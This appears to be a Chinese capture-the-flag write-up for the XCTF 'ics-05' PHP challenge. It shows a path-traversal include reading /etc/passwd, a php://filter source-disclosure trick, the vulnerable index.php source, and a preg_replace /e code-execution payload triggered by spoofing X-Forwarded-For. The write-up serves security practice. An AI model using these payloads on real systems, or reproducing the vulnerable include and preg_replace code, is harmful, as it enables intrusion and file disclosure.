20200924-PHP-XCTF-ics-05文件包涵
先检查页面找到了一个文件包涵点
http://220.249.52.133:51253/index.php?page=../../../../../../../etc/passwd
尝试了使用伪协议data无效
使用了 ?page=php://filter/read=convert.base64-encode/resource=index.php
读取到了源代码
index.php(代码太长只取较为关键部分):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72
| <?php
$page = $_GET[page];
if (isset($page)) {
if (ctype_alnum($page)) { ?>
<br /><br /><br /><br /> <div style="text-align:center"> <p class="lead"><?php echo $page; die();?></p> <br /><br /><br /><br />
<?php
}else{
?> <br /><br /><br /><br /> <div style="text-align:center"> <p class="lead"> <?php
if (strpos($page, 'input') > 0) { die(); }
if (strpos($page, 'ta:text') > 0) { die(); }
if (strpos($page, 'text') > 0) { die(); }
if ($page === 'index.php') { die('Ok'); } include($page); die(); ?> </p> <br /><br /><br /><br />
<?php }}
if ($_SERVER['HTTP_X_FORWARDED_FOR'] === '127.0.0.1') {
echo "<br >Welcome My Admin ! <br >";
$pattern = $_GET[pat]; $replacement = $_GET[rep]; $subject = $_GET[sub];
if (isset($pattern) && isset($replacement) && isset($subject)) { preg_replace($pattern, $replacement, $subject); }else{ die(); } } ?>
|
preg_replace // 这个题的关键是利用文件包涵加伪协议读取index.php源代码,然后就是这个函数的利用
payload:?pat=/123/e&rep=highlight_file('s3chahahaDir/flag/flag.php')&sub=123
利用远程命令执行查看目录内容并读取flag(需要修改xff头)
参考资料:
https://www.runoob.com/php/php-preg_replace.html
http://www.xinyueseo.com/websecurity/158.html